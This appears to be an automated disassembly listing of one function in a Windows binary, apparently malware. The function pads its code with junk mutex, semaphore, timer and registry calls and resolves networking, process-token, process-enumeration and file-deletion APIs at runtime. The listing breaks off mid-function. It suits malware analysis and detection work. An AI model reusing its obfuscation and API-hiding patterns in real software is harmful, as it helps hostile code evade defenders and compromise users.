Function at 0x401000
Capabilities:
Print debug messages
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa54
push ebx
push esi
push edi
push 0x4cd
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push 0x20019
push 0
push 0x4110a0
push 0x80000001
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.log:_u063mzsp
call edi
push 6
pop esi
push str.h4qpukjb
push str.5u390c5k
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
sub esi, 1
jne 0x40104f
xor eax, eax
push eax
push 0x1033
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regj1ifn06p
push 0x80000001
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.qcedppet
push str.63v3azn2
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.SMPHR_os18j7or
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x20019
push 0
push str.reguve6ep93
push 0x80000001
call ebx
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x4010f1
push str.1mwd3yns
push str.et0znjf9
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_zb8mzlt7
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x20019
push 0
push str.regd79qlk6h
push 0x80000001
call ebx
test esi, esi
je 0x401124
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
xor ebx, ebx
push str.XMLjkfpp538
push 1
push ebx
push ebx
call esi
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
xor eax, eax
push eax
push 0xa20
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2c]
push eax
push 0x20019
push 0
push str.reg3ah15jqa
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_82kalx49
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x4011b7
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.regrddq0eod
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x4011bb
call ebx
xor ebx, ebx
push str.SMPHR_ratogsui
push 1
push ebx
push ebx
call esi
push str.log:_pgaeva7v
mov esi, eax
call edi
push ebx
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x69d
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_3ih0zq84
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.ev_kfpv6oeg
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.MTXnx209oyz
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401246
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push str.regfog5wh05
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x401261
push 0xfffffffffffffff7
jmp 0x402375
push 5
pop esi
push str.log:_oht5jxyb
call edi
sub esi, 1
jne 0x401264
push 0xf5e
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x12e4
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.WTMR_jt9dkhmp
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
call esi
test eax, eax
je 0x4012b7
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.WTMR_t0zs5h5p
push 1
push 0
call esi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.regyaglvd4q
push 0x80000001
call esi
push str.MTXn89mc8r6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x401316
push str.log:_zdmusbvp
call edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40131d
push str.log:_hnwgo4r2
call edi
push str.SMPHR_xqrtegzz
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.WTMR_neam0s0m
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.regi97ekng5
push 0x80000001
call esi
push str.SMPHR_mpooqon9
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.log:_fduxdhfd
mov esi, eax
call edi
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x401396
push str.log:_4t2ypxu0
call edi
push 0x198
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.o9gu36t3
push str.pjp5l1ii
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.MTXsvg9dhkl
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4013d8
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4013de
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x190]
push eax
push str.s_afujqhmo
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_6k3qrv66
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
push eax
push 0x71b
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.k43gxexl
push str.e7njacxr
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4112f8
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [reloc.KERNEL32.dll_GetProcAddress], eax
lea eax, [ebp - 0x2d0]
push eax
push str.s_hhrcar4x
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x933
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_8d66vi4s
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.WTMR_wy0douvp
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.SMPHR_qvyqsopa
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push 0x20019
push 0
push str.regeyf2lfk6
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
test eax, eax
jne 0x4014e5
push str.log:_vjwm6eqe
call edi
push str.XMLrq3uqa3i
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.ev_h2pda5xj
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.ev_925b3enz
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
push eax
push 0x13e
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_m839iil4
call edi
push str.MTXcm44yvc7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 8], eax
test eax, eax
je 0x401598
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x4015a5
push str.log:_szzgh17y
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push str.SMPHR_scuk49x2
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x4015c9
call esi
call esi
push str.LoadLibraryW
push ebx
call dword [0x4160d8]
push str.TerminateProcess
push ebx
mov dword [0x41603c], eax
call dword [0x4160d8]
push str.MTXb2koznzm
xor esi, esi
mov dword [0x416118], eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x401617
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.9br10u4h
push str.ir34pehr
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push 0x11be
push esi
push 4
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.log:_wkf3djcj
call edi
push str.ev_5548s4lm
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x6cf
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.log:_pef3ljv6
mov esi, eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x3c]
push eax
push 0x20019
push 0
push str.regzkq28ud7
push 0x80000001
call esi
push str.XMLuaayw28c
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.k8n0olnd
push str.a4db6c0r
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_7q348awl
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push str.log:_3ooyc4aq
mov dword [ebp - 8], eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x4016ef
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x4016f6
push str.log:_i7fprr7n
call edi
push str.GetUserDefaultLocaleName
push ebx
call dword [0x4160d8]
push str.GetEnvironmentVariableW
push ebx
call dword [0x4160d8]
push 0x4114c8
push ebx
mov dword [0x416164], eax
call dword [0x4160d8]
push str.FreeLibrary
push ebx
mov dword [reloc.KERNEL32.dll_lstrlenA], eax
call dword [0x4160d8]
push str.GlobalFree
push ebx
mov dword [0x416148], eax
call dword [0x4160d8]
push str.CreateFileW
push ebx
mov dword [0x4160e0], eax
call dword [0x4160d8]
push str.GetTimeZoneInformation
push ebx
mov dword [0x416044], eax
call dword [0x4160d8]
push str.lstrcpyA
push ebx
mov dword [0x416028], eax
call dword [0x4160d8]
push str.ReadFile
push ebx
mov dword [0x416054], eax
call dword [0x4160d8]
push 0xf99
push 0
mov dword [0x41608c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x40]
push eax
push 0x20019
push 0
push str.regqkz0ql77
push 0x80000001
call esi
lea eax, [ebp - 0x410]
push eax
push str.s_oy6l16g5
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ev_rzr3kyhr
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.log:_3jusgvl4
call edi
push str.XMLurxoxcdf
push 1
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea eax, [ebp - 0x44]
push eax
push 0x20019
push esi
push str.reglm2vezzx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.WTMR_7uczkqql
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push str.SMPHR_j6lcuwck
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.MTX1bnb68fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40187e
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
push eax
push 0x1152
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push str.nmd5b8jf
push str.xyxs3mxv
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.lstrlenW
push ebx
call dword [0x4160d8]
push str.WriteFile
push ebx
mov dword [0x416090], eax
call dword [0x4160d8]
push str.SetCurrentDirectoryW
push ebx
mov dword [0x4160ec], eax
call dword [0x4160d8]
push str.lstrcmpW
push ebx
mov dword [0x4160dc], eax
call dword [0x4160d8]
push 0x4115f4
push ebx
mov dword [0x4160a4], eax
call dword [0x4160d8]
push 0x411600
push ebx
mov dword [reloc.KERNEL32.dll_CloseHandle], eax
call dword [0x4160d8]
push str.FindNextFileW
push ebx
mov dword [reloc.KERNEL32.dll_GetLastError], eax
call dword [0x4160d8]
push str.FindFirstFileW
push ebx
mov dword [0x416150], eax
call dword [0x4160d8]
push str.Process32First
push ebx
mov dword [0x416020], eax
call dword [0x4160d8]
push str.Process32FirstW
push ebx
mov dword [0x41610c], eax
call dword [0x4160d8]
push str.GetFileSize
push ebx
mov dword [0x416070], eax
call dword [0x4160d8]
push str.OpenMutexW
push ebx
mov dword [0x416154], eax
call dword [0x4160d8]
push str.WideCharToMultiByte
push ebx
mov dword [0x416170], eax
call dword [0x4160d8]
push str.GlobalAlloc
push ebx
mov dword [0x4160e8], eax
call dword [0x4160d8]
push str.GetCurrentProcess
push ebx
mov dword [0x416098], eax
call dword [0x4160d8]
push str.ExitProcess
push ebx
mov dword [0x416048], eax
call dword [0x4160d8]
push str.CreateMutexW
push ebx
mov dword [0x41602c], eax
call dword [0x4160d8]
push str.GetSystemWow64DirectoryW
mov dword [0x416108], eax
push ebx
call dword [0x4160d8]
push str.GetLocaleInfoW
push ebx
mov dword [0x416110], eax
call dword [0x4160d8]
push str.GlobalMemoryStatusEx
push ebx
mov dword [0x4160ac], eax
call dword [0x4160d8]
push str.GetDriveTypeW
push ebx
mov dword [0x416034], eax
call dword [0x4160d8]
push str.OpenProcess
push ebx
mov dword [0x416130], eax
call dword [0x4160d8]
mov dword [0x416060], eax
lea eax, [ebp - 0x550]
push eax
push str.s_563k500q
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 2
pop ebx
push str.log:_88xzfmmt
call edi
sub ebx, 1
jne 0x401a34
push str.u9exgr9m
push str.3uxt5ws1
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0x320
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push str.XMLgzhdnrym
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push ebx
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call esi
push str.MTX77dd5p7f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x401a9d
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call esi
push str.SMPHR_zi4f5gfm
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x401ae0
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.regmm2y0dnc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x411780
push ebx
call dword [0x4160d8]
push str.lstrcmpiW
push ebx
mov dword [reloc.KERNEL32.dll_LocalAlloc], eax
call dword [0x4160d8]
push str.SetEnvironmentVariableW
push ebx
mov dword [0x41611c], eax
call dword [0x4160d8]
push str.CopyFileW
push ebx
mov dword [0x416168], eax
call dword [0x4160d8]
push str.GetModuleFileNameW
push ebx
mov dword [0x416188], eax
call dword [0x4160d8]
push str.lstrcmpA
push ebx
mov dword [0x416074], eax
call dword [0x4160d8]
push str.Sleep
push ebx
mov dword [str.___v], eax
call dword [0x4160d8]
push str.GetSystemInfo
push ebx
call dword [0x4160d8]
push 0x4117f4
push ebx
mov dword [0x4160fc], eax
call dword [0x4160d8]
push str.Process32Next
push ebx
mov dword [reloc.KERNEL32.dll_LocalFree], eax
call dword [0x4160d8]
push str.MTX0nu3em0m
push 0
push 0
mov dword [0x416080], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401bb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.log:_dkzyxzd9
call edi
jmp 0x401bc7
push str.log:_qlsbd9b8
call edi
push str.xbu9dbgu
push str.6lsiqux8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.ev_mwrwljrt
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push str.WTMR_coejz1qe
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
push str.regwghvpc0g
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test esi, esi
je 0x401c21
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x401c31
push str.jfsfoe42
push str.67q7kgvm
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x690]
push eax
push str.s_nordth3q
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x358
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.XMLirps35c1
push 1
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.Process32NextW
push ebx
call dword [0x4160d8]
push str.DeleteFileW
push ebx
mov dword [0x41600c], eax
call dword [0x4160d8]
push str.lstrcpynA
push ebx
mov dword [0x4160f8], eax
call dword [0x4160d8]
push str.MultiByteToWideChar
push ebx
mov dword [0x416008], eax
call dword [0x4160d8]
push 0x4118e8
push ebx
mov dword [0x4160b0], eax
call dword [0x4160d8]
push str.CreateToolhelp32Snapshot
push ebx
mov dword [reloc.KERNEL32.dll_FindClose], eax
call dword [0x4160d8]
push str.HeapFree
push ebx
mov dword [0x41609c], eax
call dword [0x4160d8]
push str.GetUserDefaultLCID
push ebx
call dword [0x4160d8]
push str.GetLogicalDriveStringsW
push ebx
mov dword [0x416174], eax
call dword [0x4160d8]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Shlwapi.dll
mov dword [0x41614c], eax
call ebx
mov esi, eax
push str.PathMatchSpecW
push esi
call dword [0x4160d8]
push str.StrCpyW
push esi
mov dword [0x416140], eax
call dword [0x4160d8]
push str.StrStrIW
push esi
mov dword [0x416144], eax
call dword [0x4160d8]
push str.StrStrW
push esi
call dword [0x4160d8]
push str.PathCombineW
push esi
mov dword [0x416190], eax
call dword [0x4160d8]
push str.StrRChrW
push esi
mov dword [0x416004], eax
call dword [0x4160d8]
push str.StrToIntA
mov dword [0x4160e4], eax
push esi
call dword [0x4160d8]
push str.StrToIntW
push esi
call dword [0x4160d8]
push str.StrStrA
push esi
mov dword [0x416078], eax
call dword [0x4160d8]
push str.StrToInt64ExW
push esi
mov dword [0x416014], eax
call dword [0x4160d8]
push str.Ole32.dll
call ebx
mov esi, eax
push 0x4119d8
push esi
call dword [0x4160d8]
push str.CoCreateInstance
push esi
call dword [0x4160d8]
push str.WinInet.dll
mov dword [0x416194], eax
call ebx
push str.Shell32.dll
mov dword [ebp - 4], eax
call ebx
push str.User32.dll
mov dword [ebp - 8], eax
call ebx
push str.Advapi32.dll
mov dword [ebp - 0x10], eax
call ebx
push str.Bcrypt.dll
mov dword [ebp - 0xc], eax
call ebx
push str.Crypt32.dll
call ebx
push str.XMLpl5hry78
push 1
xor esi, esi
mov dword [ebp - 0x14], eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push esi
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push str.MTXr5q08582
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x401e4f
push str.log:_qsd8r8ow
call edi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 9
pop esi
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push str.regx1xt82p2
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esi, 1
jne 0x401e52
lea eax, [ebp - 0x7d0]
push eax
push str.s_v0chgsh9
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.WTMR_lzcrythw
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_qp9ni6ke
call edi
push str.ev_1lwix6u4
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x5cc
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.2g5qtxym
push str.fpnwcyvg
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.SMPHR_o3om5goj
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
jne 0x401f29
lea eax, [ebp - 0x18]
push eax
push 0x20019
push 0
push str.reg1pjsc31e
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.HttpQueryInfoA
push dword [ebp - 4]
call dword [0x4160d8]
push str.HttpOpenRequestW
push dword [ebp - 4]
call dword [0x4160d8]
push str.InternetReadFileExW
push dword [ebp - 4]
mov dword [0x4160bc], eax
call dword [0x4160d8]
push str.InternetOpenUrlW
push dword [ebp - 4]
call dword [0x4160d8]
push str.HttpQueryInfoW
push dword [ebp - 4]
mov dword [0x416114], eax
call dword [0x4160d8]
push str.InternetCloseHandle
push dword [ebp - 4]
call dword [0x4160d8]
push str.InternetConnectW
push dword [ebp - 4]
mov dword [0x41606c], eax
call dword [0x4160d8]
push 0x7a3
push 0
mov dword [0x416184], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0x910]
push eax
push str.s_4ncfxbo1
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.XMLw29wufl6
push 1
push 0
push 0
call esi
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push str.log:_1qn74nl0
call edi
push 9
pop esi
call ebx
sub esi, 1
jne 0x401fee
push str.MTXszm8vvsc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40200f
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40202b
lea eax, [ebp - 0x18]
push eax
push 0x20019
push esi
push str.reg4thj06sv
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call ebx
push str.WTMR_v6a6efz9
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
call esi
test eax, eax
je 0x402048
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
jmp 0x40204a
call ebx
push str.log:_glfe42go
call edi
push str.InternetSetOptionW
push dword [ebp - 4]
call dword [0x4160d8]
push str.InternetOpenW
push dword [ebp - 4]
mov dword [0x416178], eax
call dword [0x4160d8]
push str.HttpSendRequestW
push dword [ebp - 4]
mov dword [0x41612c], eax
call dword [0x4160d8]
push str.InternetReadFile
push dword [ebp - 4]
mov dword [0x416018], eax
call dword [0x4160d8]
push str.InternetOpenUrlA
push dword [ebp - 4]
mov dword [0x416100], eax
call dword [0x4160d8]
push str.ShellExecuteW
push dword [ebp - 8]
call dword [0x4160d8]
push str.SHGetFolderPathW
push dword [ebp - 8]
mov dword [0x41601c], eax
call dword [0x4160d8]
push str.SHGetSpecialFolderPathW
push dword [ebp - 8]
mov dword [0x416198], eax
call dword [0x4160d8]
push str.ConvertSidToStringSidW
push dword [ebp - 0xc]
mov dword [0x4160c8], eax
call dword [0x4160d8]
push str.OpenProcessToken
push dword [ebp - 0xc]
mov dword [0x41605c], eax
call dword [0x4160d8]
push str.SystemFunction036
push dword [ebp - 0xc]
mov dword [0x416128], eax
call dword [0x4160d8]
push str.RegEnumKeyExW
push dword [ebp - 0xc]
mov dword [0x4160c4], eax
call dword [0x4160d8]
push str.RegCloseKey
push dword [ebp - 0xc]
mov dword [0x4160a8], eax
call dword [0x4160d8]
push str.DuplicateTokenEx
push dword [ebp - 0xc]
mov dword [0x416068], eax
call dword [0x4160d8]
push str.GetUserNameW
push dword [ebp - 0xc]
mov dword [0x416038], eax
call dword [0x4160d8]
push str.RegOpenKeyExW
push dword [ebp - 0xc]
mov dword [str.p_dwP], eax
call dword [0x4160d8]
push str.RegQueryValueExW
push dword [ebp - 0xc]
mov dword [0x4160a0], eax
call dword [0x4160d8]
push str.GetTokenInformation
push dword [ebp - 0xc]
mov dword [0x4160d4], eax
call dword [0x4160d8]
push str.CreateProcessWithTokenW
push dword [ebp - 0xc]
mov dword [0x416030], eax
call dword [0x4160d8]
push str.CharUpperW
push dword [ebp - 0x10]
mov dword [0x4161a4], eax
